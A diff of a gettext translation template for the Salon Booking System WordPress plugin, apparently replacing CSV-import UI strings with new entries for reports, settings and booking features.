..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAbstractImport.php:62\n+msgid \"Cannot write to tmp file\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:56, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:56, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:56, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:56\n-msgid \"Import “Customers”\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:217\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:217\n+msgid \"Capacity & Peak Times\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:57, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:57, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:57\n-msgid \"Import customers from other platforms using a CSV file that respect our csv sample file structure.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:293\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:323\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:293\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:323\n+msgid \"Category image\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:65, views\u002Fadmin\u002Ftools.php:66, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:66, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:66, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:66\n-msgid \"Drag your csv file here to import your “Customers”\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:16\n+msgid \"Change order\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:70, views\u002Fadmin\u002Ftools.php:106, views\u002Fadmin\u002Ftools.php:143, views\u002Fadmin\u002Ftools.php:177, views\u002Fadmin\u002Ftools.php:222, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:106, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:143, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:177, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:222, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:106, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:143, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:177, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:222\n-msgid \"loading\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:411\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:411\n+msgid \"Channel\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:71, views\u002Fadmin\u002Ftools.php:107, views\u002Fadmin\u002Ftools.php:144, views\u002Fadmin\u002Ftools.php:178, views\u002Fadmin\u002Ftools.php:223, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:71, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:107, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:144, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:178, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:223, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:71, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:107, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:144, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:178, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:71, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:107, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:223\n-msgid \"Import\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:190\n+msgid \"Chart visualization will be implemented with Chart.js\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:75, views\u002Fadmin\u002Ftools.php:110, views\u002Fadmin\u002Ftools.php:147, views\u002Fadmin\u002Ftools.php:182, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:110, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:147, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:182, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:75, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:110, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:147, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:147, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:147, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:110, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:147, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:182\n-msgid \"Well done! Your import has been successfully completed.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:72\n+msgid \"Check all services.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:76, views\u002Fadmin\u002Ftools.php:111, views\u002Fadmin\u002Ftools.php:148, views\u002Fadmin\u002Ftools.php:184, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:76, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:111, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:148, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:184, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:76, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:111, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:148, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:76, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:184\n-msgid \"Error! Something is gone wrong.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:525\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:525\n+msgid \"Check eligible bookings\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:83, views\u002Fadmin\u002Ftools.php:119, views\u002Fadmin\u002Ftools.php:156, views\u002Fadmin\u002Ftools.php:192, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:83, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:119, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:156, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:192, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:83, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:119, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:156, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:156, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:156, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:83, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:119, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:156, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:192\n-msgid \"Download sample CSV file\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:389\n+msgid \"Check for Updates\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:92, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:92, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:92, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:92, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:92, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:92\n-msgid \"Import “Services”\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:188\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002Ftemplate.php:188\n+msgid \"CHECK FULL REPORT\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:93, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:93, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:93, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:93\n-msgid \"Import services from other platforms using a CSV file that respect our csv sample file structure.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:253\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:253\n+msgid \"Check the duration time.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:101, views\u002Fadmin\u002Ftools.php:102, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:101, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:102, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:101, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:102, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:102, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:102, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:102\n-msgid \"Drag your csv file here to import “Services”\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:268\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:268\n+msgid \"Check this box if you want to enable the Discount section\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:129, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:129, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:129, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:129\n-msgid \"Import “Assistants”\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:21\n+msgid \"\"\n+\"Check this box to activate bot protection. You must also configure the Site \"\n+\"Key and Secret Key below. Disabled by default.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:130, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:130, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:130, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:130, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:130, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:130\n-msgid \"Import assistants from other platforms using a CSV file that respect our csv sample file structure.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fpaypal\u002Fsettings.php:13\n+msgid \"\"\n+\"Check this option to test PayPal payments\\n\"\n+\"using your PayPal Sandbox account.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Ftools.php:138, views\u002Fadmin\u002Ftools.php:139, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:138, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Ftools.php:139, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:138, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Ftools.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Ftools.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:138, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Ftools.php:139\n-msgid \"Drag your csv file here to import your “Assistants”\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 